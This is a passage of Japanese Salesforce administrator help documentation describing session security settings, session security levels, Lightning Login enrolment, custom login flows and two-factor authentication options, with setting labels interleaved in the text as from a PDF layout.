これは、Cookie へのアプリケーションのアクセスが拒否
されるためです。[HttpOnly 属性が必要]が選択されて
いる場合は、AJAX Toolkit のデバッグウィンドウを使用で
きません。

クロスドメイン交換でセッション情報が GET 要求ではなく POST

要求を使用して送信されるように組織を設定します。クロスド
クロスドメインセッションで POST 要求
を使用

メイン交換の例として、ユーザが Visualforce ページを使用して
いる場合が挙げられます。POST 要求ではセッション情報がリ
クエストボディに保持されるため、このコンテキストでは GET

要求よりも POST 要求のほうが安全です。ただし、この設定を
有効にすると、別のドメインから埋め込まれたコンテンツ (

<img

src="https://acme.force.com/pic.jpg"/>

など) が表示されないことがあります。

ユーザが Salesforce にアクセスできる IP アドレスを、[ログイン
IP アドレスの制限] に定義されている IP アドレスのみに制限

すべての要求でログイン IP アドレスの制
限を適用

します。この設定をオンにすると、クライアントアプリケー
ションからの要求を含め、各ページ要求でログイン IP アドレス
の制限が適用されます。この設定をオフにすると、ユーザがロ
グインする場合にのみログイン IP アドレスの制限が適用されま
す。この設定は、ログイン IP アドレスが制限されたすべての
ユーザプロファイルに影響します。

ユーザのブラウザがユーザ名を保存できるようにします。オン
にすると、初回ログインの後、ユーザ名がログインページの

ログインページでキャッシングとオートコ
ンプリート機能を有効にする

[ユーザ名] 項目に自動入力されます。ユーザがログインペー
ジで[ログイン情報を保存する]を選択した場合、セッションが
期限切れになったりユーザがログアウトしたりした後でも、
ユーザ名が保持されます。ユーザ名は、スイッチャにも表示さ
れます。すべての組織で、この設定がデフォルトで選択されて
います。
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メモ: この設定をオフにすると、[ログイン情報を保存す
る]オプションは、組織のログインページにもスイッチャ
にも表示されません。

ブラウザの安全なデータキャッシュを有効にし、サーバとの往
復処理の増加を避けることでページの再読み込みパフォーマン

パフォーマンスを向上させるためにブラウ
ザの安全で永続的なキャッシュを有効にす
る スを向上させます。すべての組織で、この設定がデフォルトで

選択されています。この設定を無効にすることはお勧めしませ
んが、データが暗号化されているのに会社のポリシーによって
ブラウザのキャッシュが許可されない場合は、無効にしてもか
まいません。

組織のユーザがプロファイル写真を選択したときに、スイッ
チャを表示するかどうかを決定します。すべての組織で、この

ユーザの切り替えを有効化

設定がデフォルトで選択されています。[ログインページで
キャッシングとオートコンプリート機能を有効にする]設定も有
効にする必要があります。組織が他の組織のスイッチャに表示
されないようにするには、[ユーザの切り替えを有効化]設定を
オフにします。これにより、組織のユーザがプロファイル写真
を選択したときも、スイッチャが表示されなくなります。

通常、ユーザ名は、セッションがアクティブである期間、また
はユーザが [ログイン情報を保存する] を選択した場合にのみ

ログアウトするまでログイン情報を保存し
ます

キャッシュされます。SSO セッションでは、ユーザ名を記憶す
るオプションが使用できません。セッションが期限切れになる
と、ユーザ名は、ログインページとスイッチャに表示されなく
なります。[ログアウトするまでログイン情報を保存します] を
有効にすると、ユーザが明示的にログアウトした場合にのみ
キャッシュされたユーザ名が削除されます。セッションがタイ
ムアウトしても、ユーザ名はスイッチャに無効として表示され
ます。ユーザは、自分のコンピュータを操作していてセッショ
ンがタイムアウトになった場合、ユーザ名を選択して再認証で
きます。ユーザが共有コンピュータを操作している場合、ユー
ザがログアウトすると、ユーザ名はただちに削除されます。
この設定は、すべての組織のユーザに適用されます。このオプ
ションはデフォルトで有効になっていません。ただし、ユーザ
の便宜のため、有効にすることをお勧めします。組織がログイ
ンページで SSO または認証のすべてのプロバイダを公開してい
ない場合は、この設定を無効にしてください。

ユーザが SMS 経由で配信される 1 回限りの PIN を受信できるよ
うにします。この設定をオンにすると、システム管理者または

SMS による ID 確認を有効にする

ユーザは、この機能を利用する前に、携帯電話番号を確認する
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必要があります。すべての組織で、この設定がデフォルトで選
択されています。

API バージョン 31.0 以前では、コールアウトからの API ログイン
にセキュリティトークンを使用する必要があります。例とし

コールアウトから API ログインするため
のセキュリティトークンが必要 (API バー
ジョン 31.0 以前) て、Apex コールアウトや AJAX プロキシを使用したコールアウ

トが挙げられます。API バージョン 32.0 以降では、デフォルト
でセキュリティトークンが必要です。

IP アドレスの範囲を指定します。ユーザはこの範囲内 (指定し
た両端を含む) の IP アドレスからログインする必要があり、範
囲外からはログインできません。
範囲を指定するには、[新規]をクリックし、開始 IP アドレスと
終了 IP アドレスを入力して、開始値と終了値を含む範囲を定義
します。

[ログイン IP アドレスの制限]  (Contact

Manager Edition、Group Edition、および
Professional Edition)

この項目は、Enterprise Edition、Unlimited Edition、Performance

Edition、および Developer Edition では使用できません。これらの
エディションでは、有効な [ログイン IP アドレスの制限] をユー
ザプロファイル設定に指定できます。

ユーザは 2 要素認証や ID 検証に U2F セキュリティキーを使用で
きます。Salesforce Authenticator、認証アプリケーションによって

セキュリティキー (U2F) の使用をユーザ
に許可

生成されたワンタイムパスワード、またはメールや SMS で送信
されたワンタイムパスワードを使用する代わりに、登録された
U2F セキュリティキーを USB ポートに挿して検証を完了します。

ユーザは自宅やオフィスなどの信頼できる場所にいるときはい
つでも Salesforce Authenticator で通知を自動的に承認して ID を検

Salesforce Authenticator でロケー
ションベースの自動検証を許可

証できます。自動検証を許可する場合、すべての場所で許可す信頼済み IP アドレスからのみ許可 ることも、信頼できる IP アドレス (社内ネットワークなど) のみ
に制限することもできます。

ユーザは Lightning Login を使用して、ID 検証で Salesforce

Authenticator を信頼し、パスワードを使用せずに Salesforce にロ
グインできます。

Lightning Login を許可

Salesforceの設定ページで、クリックジャック攻撃に対して保護
します。クリックジャックは、ユーザインターフェース着せ替

設定ページのクリックジャック保護を有効
化

え攻撃とも呼ばれます ([設定] ページは [設定] メニューから使
用できます)。

設定以外のSalesforceページで、クリックジャック攻撃に対して
保護します。クリックジャックは、ユーザインターフェース着

設定以外の Salesforce ページのクリッ
クジャック保護を有効化

せ替え攻撃とも呼ばれます。設定ページにはクリックジャック
攻撃に対する保護がすでに含まれています ([設定] ページは [設
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定] メニューから使用できます)。すべての組織で、この設定が
デフォルトで選択されています。

ヘッダーが有効になっている Visualforce ページで、クリック
ジャック攻撃に対して保護します。クリックジャックは、ユー
ザインターフェース着せ替え攻撃とも呼ばれます

標準ヘッダーがある Visualforce ペー
ジのクリックジャック保護を有効化

警告: フレームまたは iframe 内でカスタム Visualforce ペー
ジを使用すると、空白のページが表示されたり、ページ
がフレームなしで表示されたりすることがあります。た
とえば、クリックジャック保護がオンになっていると、
ページレイアウトの Visualforce ページが機能しません。

ページで showHeader="false"を設定するときに、ヘッダー
が無効になっている Visualforce ページで、クリックジャック攻

ヘッダーが無効化された Visualforce

ページのクリックジャック保護を有効化
撃に対して保護します。クリックジャックは、ユーザインター
フェース着せ替え攻撃とも呼ばれます。

警告: フレームまたは iframe 内でカスタム Visualforce ペー
ジを使用すると、空白のページが表示されたり、ページ
がフレームなしで表示されたりすることがあります。た
とえば、クリックジャック保護がオンになっていると、
ページレイアウトの Visualforce ページが機能しません。

設定以外のページを変更して、クロスサイトリクエストフォー
ジェリ (CSRF) 攻撃から保護します。設定以外のページでランダ

設定ページ以外の GET 要求の CSRF 保
護を有効化

ムな文字列を URL パラメータに挿入するか、非表示のフォーム
設定ページ以外の POST 要求の CSRF 保
護を有効化

項目として追加します。GET および POST 要求が実行されるたび
に、アプリケーションがこの文字列の有効性をチェックしま
す。期待される値に一致する値が見つからない限り、アプリ
ケーションはコマンドを実行しません。すべての組織で、この
設定がデフォルトで選択されています。

クロスサイトスクリプティング攻撃から保護します。反射型ク
ロスサイトスクリプティング攻撃が検出されると、コンテンツ
のない空白のページがブラウザに表示されます。

XSS 保護を有効化

ブラウザでドキュメントコンテンツから MIME タイプが推定さ
れないようにします。また、ブラウザで悪意のあるファイルが

コンテンツ盗聴保護を有効化

動的コンテンツ (JavaScript、スタイルシート) として実行されな
いようにします。

ユーザが Salesforce からログアウトした後、認証プロバイダの
ページやカスタムブランドのページなど、特定のページにユー

ログアウト URL

ザをリダイレクトします。この URL は、ID プロバイダ、SAML

シングルサインオン、または外部認証プロバイダの設定でログ
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アウト URL が指定されていない場合にのみ使用されます。[ロ
グアウト URL] に値が指定されていない場合、[私のドメイン]

が有効でなければ https://login.salesforce.com がデ
フォルトになります。[私のドメイン] が有効な場合のデフォル
トは https://customdomain.my.salesforce.com です。

3. [保存] をクリックします。

セッションセキュリティレベル
ユーザの現在のセッションに対する認証 (login) メソッドに関連付けられたセキュリティレベルに基づいて、特
定のタイプのリソースへのアクセスを制限できます。デフォルトで、各 login メソッドには [標準] または [高保
証] という 2 つのセキュリティレベルのいずれかが設定されています。セッションのセキュリティレベルを変
更してポリシーを定義することで、指定したリソースを使用できるユーザを [高保証] レベルのユーザのみに限
定できます。
デフォルトでは、次のように認証メソッドごとに異なるセキュリティレベルが割り当てられています。
• ユーザ名およびパスワード — 標準
• 代理認証 — 標準
• 有効化 — 標準
• Lightning Login — 標準
• 2 要素認証 — 高保証
• 認証プロバイダ — 標準
• SAML — 標準

メモ:  SAML セッションに対するセキュリティレベルも、ID プロバイダによって送信される SAML アサー
ションの SessionLevel属性を使用して指定できます。属性は、STANDARDまたは HIGH_ASSURANCE

という 2 つの値のいずれかに設定できます。

Login メソッドに関連付けられたセキュリティレベルを変更する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「セッションの設定」と入力し、[セッションの設定]を選択します。
2. [セッションセキュリティレベル] で、login メソッドを選択します。
3. メソッドを適切なカテゴリに移動するには、[追加] または [削除] 矢印をクリックします。
現在、セッションレベルのセキュリティを使用する機能は、Salesforceのレポートおよびダッシュボードと接続
アプリケーションのみです。これらのタイプのリソースに高保証を求めるポリシーを設定できます。また、リ
ソースへのアクセスに使用されるセッションが高保証でない場合に実行するアクションも指定できます。サ
ポートされるアクションは次のとおりです。
• ブロックする — 権限が不十分であるというエラーを表示して、リソースへのアクセスがブロックされま

す。
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• セッションレベルを上げる — 2 要素認証を完了するプロンプトをユーザに表示します。ユーザが認証に成
功すると、リソースにアクセスできます。レポートおよびダッシュボードの場合、ユーザがレポートまた
はダッシュボードにアクセスするとき、あるいはレポートまたはダッシュボードをエクスポートして印刷
するときに、このアクションを適用できます。

警告: Lightning Experience では、ユーザをリダイレクトして 2 要素認証を完了し、セッションレベルを高保
証に上げることは、サポートされていません。組織で Lightning Experience が有効化されていて、レポート
とダッシュボードへのアクセスに高保証セッションが必要なポリシーをユーザが設定している場合、標
準保証セッションのLightning Experienceユーザはレポートとダッシュボードからブロックされます。また、
ナビゲーションメニューにはこれらのリソースのアイコンが表示されません。回避策として、標準保証
セッションのユーザはログアウトしてから、組織によって高保証として定義された認証方法を使用して
再度ログインできます。その後ユーザはレポートとダッシュボードにアクセスできます。または、Salesforce

Classicに切り替えることができます。この場合、レポートとダッシュボードにアクセスするときに、セッ
ションレベルを上げるように促されます。

接続アプリケーションにアクセスするために、高保証を必要とするポリシーを設定する手順は、次のとおりで
す。
1. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、接続アプリケーションを管理

するオプションを選択します。
2. 接続アプリケーションの横にある [編集] をクリックします。
3. [高保証セッションが必要です] を選択します。
4. 表示されるアクションのいずれかを選択します。
5. [保存] をクリックします。
レポートおよびダッシュボードにアクセスするために、高保証を必要とするポリシーを設定する手順は、次の
とおりです。
1. [設定] から、[クイック検索]ボックスに「アクセスポリシー」と入力し、[アクセスポリシー]を選択します。
2. [高保証セッションが必要です] を選択します。
3. 表示されるアクションのいずれかを選択します。
4. [保存] をクリックします。
セッションレベルは、明示的なセキュリティポリシーが定義された接続アプリケーション、レポート、および
ダッシュボードを除き、アプリケーションのリソースに影響を及ぼしません。

関連トピック:

セッションセキュリティ
Salesforce の [設定] メニューの探索
ID 検証履歴
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Lightning Login の有効化によるパスワードを使用しないログイン

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Database.com Edition、
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ユーザ権限

プロファイルのシステム
権限を編集する
• 「プロファイルと権限

セットの管理」

Lightning Login を有効にす
る
• 「アプリケーションの

カスタマイズ」

脆弱なパスワード、パスワードの紛失、アカウントロックアウトの問題がなく
なります。パスワードを使用しないログインによってユーザの速度、利便性が
向上し、セキュリティが強化されます。Lightning Login を有効化し、必要な権限
をユーザに割り当てて、ユーザに Lightning Login に個別に登録するよう促します。
パスワードを使用しないログインは、2 要素認証モバイルアプリケーションであ
る Salesforce Authenticator (バージョン 2 以降) に依存します。このアプリケーショ
ンは iOS および Android デバイスで無料でダウンロードできます。Lightning Login

では、ログインに 2 つの認証要素が要求されることでセキュリティが強化され
ます。
• 最初の要素はユーザが持っているものであり、Salesforce Authenticator がインス

トールされていてユーザの Salesforce アカウントで接続したモバイルデバイス
が該当します。

• 2 番目の要素はユーザ自身 (フィンガープリントなど) や、ユーザが知ってい
る内容 (PIN など) が該当します。第 2 レベルの認証により、モバイルデバイス
へのアクセスとユーザの指紋または PIN を要求することでセキュリティが強
化されます。

Lightning Login は、Lightning Experience を使用している組織に制限されません。
Salesforce Classic でも動作します。
1. [設定] から、[クイック検索]ボックスに「セッションの設定」と入力し、[セッ

ションの設定] を選択します。
2. Lightning Login のデフォルト設定を確認します。

a. [Lightning Login を許可] が有効になっていることを確認します。
この設定で機能を使用可能にできますが、「Lightning Login ユーザ」ユー
ザ権限を割り当てない限り誰も登録できません。いつでも [Lightning

Login を許可] を無効にし、すべてのユーザをユーザ名とパスワードのログインに戻すことができま
す。

b. 標準セッションセキュリティレベルがこのログイン方法に適していることを確認します。
Lightning Login は、標準セキュリティレベルでユーザのセッションを確立します。通常 Lightning Login で置
き換えられるユーザ名とパスワード方式のデフォルトのセキュリティレベルは [標準] です。必要に応じ
て、セキュリティレベルを [高保証] に変更できます。

3. ユーザプロファイル (コピーされたプロファイルまたはカスタムプロファイルのみ) または権限セットで
「Lightning Login ユーザ」権限をユーザに割り当てます。Lightning Login は、外部ユーザではサポートされま
せん。

Lightning Login と他のログイン機能、ID 検証機能、および 2 要素認証機能との関連性について、次の点を考慮し
てください。
• ログイン履歴または ID 検証履歴ツールを使用して、ユーザの Lightning Login アクティビティを監視できま

す。
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• 認識できないブラウザまたはデバイスから登録済みのユーザが Lightning Login を試行する場合、Salesforce で
は、ID 検証と共にユーザ名とパスワードを使用したログインが必要です。

• 登録済みのユーザが以前にブラウザからログインして [ログイン情報を保存する] を選択した場合、ログイ
ンページのログインヒントでは、Lightning Login が有効な過去のユーザ名の横に稲妻が表示されます。

メモ:  Apple Safari ブラウザで Lightning Login によってログインヒントが適切に表示されるようにするに
は、ブラウザの [Cookie と Web サイトのデータ] オプションを変更します。この設定を [アクセスした
Web サイトは許可] から [常に許可] に変更することをユーザに推奨してください。

• 組織でログインに 2 要素認証ポリシーが設定されている場合、Lightning Login の方法は 2 番目の要素の要件
を満たします。Salesforce では、「ユーザインターフェースログインの 2 要素認証」権限を持つユーザが別
個に 2 番目の要素を用意する必要はありません。

• 2 要素認証が必要なトランザクションセキュリティポリシーが組織に定義されている場合、Lightning Login は
サポートされません。Lightning Login を試行する登録済みのユーザは、代わりにユーザ名とパスワードを指
定してログインを使用する必要があります。

Lightning Login への登録によるパスワードを使用しないログイン
Lightning Login への登録によって、パスワードを使用しないログインの速度と利便性の向上、およびセキュ
リティの強化を実現できるようにします。
ユーザの Lightning Login 登録のキャンセル
ユーザが Lightning Login を使用できなくなった場合に、ユーザの Lightning Login 登録をキャンセルします。

Lightning Login への登録によるパスワードを使用しないログイン

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Database.com Edition、
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ユーザ権限

Lightning Login に登録にす
る
• 「Lightning Login ユー

ザ」

Lightning Login への登録によって、パスワードを使用しないログインの速度と利
便性の向上、およびセキュリティの強化を実現できるようにします。
Salesforce システム管理者により、自分で Lightning Login に登録できるようになっ
たら、自分自身を登録します (代わりにシステム管理者が登録することはできま
せん)。
1. 登録通知を承認する準備が整うように、モバイルデバイスを手元に置いてく

ださい。
Lightning Login には、2 要素認証モバイルアプリケーションである Salesforce

Authenticator (バージョン 2 以降) が必要です。このアプリケーションは iOS お
よび Android デバイスで無料でダウンロードできます。まだSalesforce Authenticator

を使用していない場合、登録にはいくつかの追加手順があります。Salesforce

Authenticator をダウンロードしてインストールし、Salesforce アカウントに接続
して、認証の 2 番目の要素 (指紋または PIN) を設定するように指示されます。

2. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力
し、[高度なユーザの詳細] を選択します。結果がありませんか? [クイック検
索] ボックスに「個人情報」と入力し、[個人情報] を選択します。

3. Lightning Login 項目の横にある [登録] をクリックします。
このオプションが表示されない場合は、システム管理者により、自分で登録
できるようになっていません。
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4. プロンプトで、モバイルデバイスの Salesforce Authenticator 通知を確認し、要求を承認します。
5. プロンプトで、指紋またはモバイルデバイスの PIN を入力します。
これで、このログイン方法を使用する準備が整いました。
1. クリック – Salesforce ログインページで、Lightning Login が有効なユーザ名の横にある稲妻を探し、ユーザ名

をクリックします。ログインページでユーザ名とパスワードの両方を求められたら、ユーザ名のみを入力
してパスワード項目をスキップし、[ログイン] をクリックできます。

2. タップ — モバイルデバイスで Salesforce Authenticator アプリケーションからの通知をタップします。
3. タッチ — フィンガープリントまたは PIN で ID を確認します。これでログインできます。
登録すると、モバイルデバイスを使用しなくても、ユーザ名とパスワードを使用してログインできます。
Salesforce Authenticator を Salesforce アカウントから切断すると、Salesforce Authenticator に接続し直すまで Lightning

Login は許可されません。
自分の登録はいつでもキャンセルでき、システム管理者も同じ操作ができます。

ユーザの Lightning Login 登録のキャンセル

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Contact Manager Edition

ユーザ権限

ユーザの Lightning Login 登
録をキャンセルする
• 「ユーザの管理」

ユーザが Lightning Login を使用できなくなった場合に、ユーザの Lightning Login 登
録をキャンセルします。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザの名前をクリックします。
3. ユーザの詳細ページで、Lightning Login 項目の横にある [キャンセル] を

クリックします。
ユーザは自身の登録をキャンセルできます。個人設定で、[高度なユーザの詳細]

ページに移動して、Lightning Login 項目の横にある [キャンセル] をクリッ
クします。
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ログインフローの作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

Cloud Flow Designerを使用してログインフロープロセスを作成し、完成したフロー
をプロファイルに関連付けます。
ユーザのプロファイルがログインフローに関連付けられていると、認証プロセ
スの一環としてユーザがログインフローに移動されます。ログインフロー画面
は、Salesforceの標準ログインページに埋め込まれます。認証プロセスの間、ユー
ザはログインフロー画面へのアクセスが制限されます。認証に成功し、ログイ
ンフローが完了すると、ユーザが組織にリダイレクトされます。そうでない場
合にアクセスを拒否するため、明示的なアクションをフロー内に定義できます。
たとえば、システム管理者はカスタム 2 要素認証プロセスを実装して目的のセ
キュリティレイヤを追加するログインフローを作成できます。このようなフロー
では、Apex メソッドを使用して、セッションコンテキストの取得、ユーザの IP

アドレスの抽出、信頼済み IP 範囲からの要求であるかどうかの確認が行われま
す信頼済み IP 範囲を検索または設定するには、[設定] から、[クイック検索]ボッ
クスに「ネットワークアクセス」と入力し、[ネットワークアクセス] を選択しま
す。信頼済み IP 範囲内からの要求である場合は、フローがスキップされ、ユー
ザが組織にログインします。そうでない場合は、Salesforce により次のいずれか
のオプションを提供するフローが呼び出されます。
1. 時間ベースのワンタイムパスワード (TOTP) などの追加ログイン情報を使用し

てログインするようユーザに指示する。
2. ユーザを強制的にログアウトする。
3. その他のオプションを含むページにユーザを移動する。
また、その他の情報を収集するフォームや追加情報をユーザに提供するページなど、カスタマイズされたペー
ジにユーザを移動するログインフローも作成できます。

独自のログインフローの構築
独自のログインフローを構築するには、次のプロセスに従います。
1. Flow Designer および Apex を使用して新しいフローを作成します。

たとえば、ユーザが会社の信頼済み IP 範囲外からログインしている場合のみ認証の第 2 要素を必要とする
カスタム IP ベースの 2 要素認証フローを設計できます信頼済み IP 範囲を検索または設定するには、[設定]

から、[クイック検索]ボックスに「ネットワークアクセス」と入力し、[ネットワークアクセス]を選択しま
す。

メモ: ユーザプロファイルで直接ログイン IP 範囲を設定しないでください。プロファイルで直接ログ
イン IP 範囲を設定すると、その範囲外のユーザによる組織へのアクセスが完全に制限され、それらの
ユーザはログインフロープロセスを開始できません。

フローには次の内容が含まれます。
a. (Process.Plugin) から実装し、タイムベースのワンタイムパスワード (TOTP) 方式およびサービスにア

クセスするために Auth.SessionManagementクラスを使用するApexプラグインを定義する新しいApex

クラス。Salesforce によって生成された TOTP に対して、ユーザによって提供される TOTP を検証するため
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に、プラグインの新しい Apex クラスは、クイックレスポンス (QR) コードを使用して時間ベースのキー
を生成します。

b. QR コードをスキャンするための画面要素。
c. トークンが有効な場合およびトークンが無効な場合に処理するための決定要素。
フロー内で、入力変数を設定できます。指定された次の名前を使用する場合、開始時のフローに次の値が
入力されます。

値の説明名前

ログイン種別 (Application、OAuth、SAML など)。LoginFlow_LoginType

ユーザの現在の IP アドレスLoginFlow_IpAddress

認証後に変更可能な、ログイン中に使用されるユー
ザの IP アドレス

LoginFlow_LoginIpAddress

ユーザのブラウザによって提供されるユーザエー
ジェント文字列

LoginFlow_UserAgent

ユーザのオペレーティングシステムLoginFlow_Platform

認証を要求するために使用されるアプリケーションLoginFlow_Application

このログインフローがコミュニティに適用される場
合の現在のコミュニティ

LoginFlow_Community

現在のセッションセキュリティレベル、標準または
高保証

LoginFlow_SessionLevel

ユーザの 18 文字の IDLoginFlow_UserId

フロー内で、特定の動作に対して次の定義済みの変数値を割り当てることができます。

メモ: これらの値は、UI 画面が更新された後にのみフローに読み込まれます (ユーザによるボタンのク
リックでは値は読み込まれません。値が読み込まれるには、新しい画面がフローに追加される必要が
あります)。

値の説明名前

テキスト値。ログインフローの完了後のユーザの移
動先を定義する文字列を指定します。文字列は有効

LoginFlow_FinishLocation

な Salesforce URL (ユーザが組織を離れることなくフ
ロー内にとどまる) または相対パスで指定する必要
があります。

Boolean 値。ユーザを直ちにログアウトし、そのユー
ザのフローを強制的に終了する場合はこの変数を
true に設定します。

LoginFlow_ForceLogout
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2. フローを保存します。
3. フローを有効化します。
4. ログインフローをプロファイルに接続します。

関連トピック:

カスタムログインフロー
https://developer.salesforce.com/page/Login-Flows

プロファイルへのログインフローの接続
Cloud Flow Designer

プロファイルへのログインフローの接続

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Flow Designer でログインフローを作成し、フローを有効化した後に、ログインフ
ローを組織のプロファイルに関連付けます。その後、そのプロファイルを持つ
ユーザは、ログインフローに移動されます。
1. [設定] から、[クイック検索] ボックスに「ログインフロー」と入力し、[ログ

インフロー] を選択します。
2. [新規] をクリックします。
3. ログインフローの関連付けを編集または削除する場合に参照するための名前

を入力します。名前は一意である必要はありません。
4. プロファイルのログインフローを選択します。ドロップダウンリストには、

Flow Designer に保存された使用可能なすべてのフローが含まれます。種別が
[フロー] の有効なフローのみサポートされます。

5. フローを接続するプロファイルのユーザライセンスを選択します。その後、そのライセンスのあるプロファ
イルがプロファイルリストに表示されます。

6. ログインフローに接続するプロファイルを選択します。
7. [保存] をクリックします。

このプロファイルのユーザは、ログインフローに移動するようになります。

ログインフローを関連付けたら、このログインフローページに表示されるフローを編集または削除できます。
1 つのログインフローは 1 つ以上のプロファイルに関連付けることができます。ただし、1 つのプロファイル
は複数のログインフローに接続することはできません。

関連トピック:

カスタムログインフロー
ログインフローの作成
Cloud Flow Designer
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2 要素認証の設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Contact Manager Edition

システム管理者は、権限またはプロファイル設定を使用して 2 要素認証を有効
化します。ユーザは、モバイル認証アプリケーションや U2F セキュリティキー
などの 2 要素認証の対象となるデバイスを各自の個人設定で登録します。
2 要素認証をカスタマイズするには、次の方法があります。
• すべてのログインで必須にする。ユーザがSalesforceにログインするたびに、

2 要素ログインの要件を設定します。API ログインに対してこの機能を有効に
することもできます。これには、データローダなどのクライアントアプリ
ケーションの使用も含まれます。詳細は、「2 要素認証ログイン要件の設定」
または「API アクセスの 2 要素認証ログイン要件の設定」を参照してくださ
い。

段階的な手順: 2 要素認証によってログインを保護する
• 「強化」認証 (「高保証」認証とも呼ばれる) を使用する。2 要素認証がすべ

てのユーザログインに必要ではないが、特定のリソースを保護する必要があるという場合があります。ユー
ザが接続アプリケーションまたはレポートを使用しようとすると、Salesforce から ID を検証するよう求めら
れます。詳細は、「セッションセキュリティレベル」を参照してください。

• プロファイルポリシーおよびセッション設定を使用する。まず、ユーザプロファイルで [ログインに必要な
セッションセキュリティレベル] 項目を [高保証]に設定します。次に、組織のセッションの設定で、特定の
ログイン方法にポリシーを適用するようにセッションセキュリティレベルを設定します。組織のセッショ
ン設定で、セッションセキュリティレベルをチェックして、[2 要素認証] が [高保証] 列にあることを確認し
ます。詳細は、「シングルサインオン、ソーシャルサインオン、コミュニティに対する 2 要素認証ログイ
ン要件およびカスタムポリシーの設定」を参照してください。

警告:  [2 要素認証] が [標準] 列にある場合、標準レベルセキュリティを付与する方法を使用してログイ
ンすると、エラーが発生します。

• ログインフローを使用する。Flow Designer とプロファイルを使用して、ユーザがログインするときの認証後
の要件 (カスタム 2 要素認証プロセスなど) を作成します。詳細は、次の例を参照してください。
– ログインフロー
– SMS ベースの 2 要素認証の実装
– 2 要素認証によるセキュリティの強化

2 要素認証ログイン要件の設定
Salesforce システム管理者は、ユーザがログインするときに、認証の 2 番目の要素を使用するように要求で
きます。
シングルサインオン、ソーシャルサインオン、コミュニティに対する 2 要素認証ログイン要件およびカス
タムポリシーの設定
プロファイルポリシーおよびセッションの設定を使用して、ユーザに対する 2 要素認証ログイン要件を設
定します。ユーザ名とパスワード、代理認証、SAML シングルサインオン、およびサードパーティ認証プロ
バイダ経由のソーシャルサインオンなどの、すべての Salesforce ユーザインターフェース認証方式がサポー
トされています。Salesforce 組織およびコミュニティのユーザに 2 要素認証要件を適用できます。
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API アクセスの 2 要素認証ログイン要件の設定
Salesforce システム管理者は、「API ログインの 2 要素認証」権限を設定して、Salesforce への API アクセスに 2

つ目の認証チャレンジを使用できます。API アクセスには、組織のカスタマイズまたはクライアントアプリ
ケーションの構築を行うためにデータローダや開発者ツールなどのアプリケーションを使用することも含
まれます。
ID 検証のためのアカウントへの Salesforce Authenticator (バージョン 2 以降) の接続
モバイルデバイス上の Salesforce Authenticator (バージョン 2 以降) アプリケーションは、認証の 2 つ目の「要
素」です。このアプリケーションを使用することで、アカウントのセキュリティレベルが向上します。
ワンタイムパスワードジェネレータアプリケーションまたはデバイスによる ID の検証
Salesforce Authenticator や Google Authenticator などのワンタイムパスワードジェネレータアプリケーションを接
続して、ID を検証します。このアプリケーションは、確認コード (「時間ベースのワンタイムパスワード」
と呼ばれることもある) を生成します。
ID 検証のための U2F セキュリティキーの有効化
Salesforce システム管理者は、2 要素認証および有効化などの ID 検証を求められたときに、ユーザが U2F セ
キュリティキーを使用できるようにすることが可能です。Salesforce Authenticator、またはメールや SMS で送
信されたワンタイムパスワードを使用する代わりに、U2F セキュリティキーを USB ポートに挿して検証を完
了します。
ID 検証のための U2F セキュリティキーを登録
U2F セキュリティキーを登録して、Salesforceアカウントに接続します。Salesforce Authenticator、メールおよび
SNS から送信されたワンタイムパスワードを使用する方法とは別の、安全で便利な方法です。2 要素認証お
よび有効化などの ID 検証を求められたときに、セキュリティキーを USB ポートに挿入して検証を完了でき
ます。
ユーザのアカウントからの Salesforce Authenticator (バージョン 2 以降) の切断
ユーザのアカウントには、一度に 1 つの Salesforce Authenticator (バージョン 2 以降) モバイルアプリケーショ
ンしか接続できません。ユーザがモバイルデバイスの交換や紛失によってアプリケーションへのアクセス
を失った場合は、ユーザのアカウントからアプリケーションを切断します。次回ユーザが 2 要素認証を使
用してログインすると、その他の認証アプリケーションを接続していない場合は Salesforce からユーザに新
しい認証アプリケーションを接続するように求められます。
ユーザのワンタイムパスワードジェネレータアプリケーションの切断
確認コード (ワンタイムパスワード) を生成するモバイル認証アプリケーション (Salesforce Authenticator など)

が 1 度に接続できるのは、1 ユーザのアカウントのみです。ユーザがモバイルデバイスを交換したり、紛失
したりしてアプリケーションへのアクセスを失った場合は、ユーザのアカウントからアプリケーションを
切断します。次回 2 要素認証を使用してユーザがログインすると、他の ID 検証方法が接続されていない場
合、Salesforce からユーザに新しい認証アプリケーションの接続が求められます。
ユーザの U2F セキュリティキー登録を削除
1 人のユーザの Salesforce アカウントに登録できるのは 1 度に 1 つの U2F セキュリティキーのみです。ユーザ
が、登録済みのセキュリティキーを交換する、または紛失した場合は、ユーザのアカウントから登録を削
除します。
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仮の ID 確認コードの生成
通常 2 要素認証に使用しているデバイスにアクセスできないユーザのために、仮の確認コードを生成しま
す。コードの有効期限が生成後 1 ～ 24 時間後に切れるように設定します。コードは有効期限まで繰り返し
使用できます。
仮の確認コードの期限切れ
ユーザに 2 要素認証が必要なくなった場合、ユーザの仮の確認コードを期限切れにします。
ユーザによる ID の検証方法の確認
ユーザのリストビューをカスタマイズするか、ID 検証方法レポートを確認して、誰がどの ID 検証方法を使
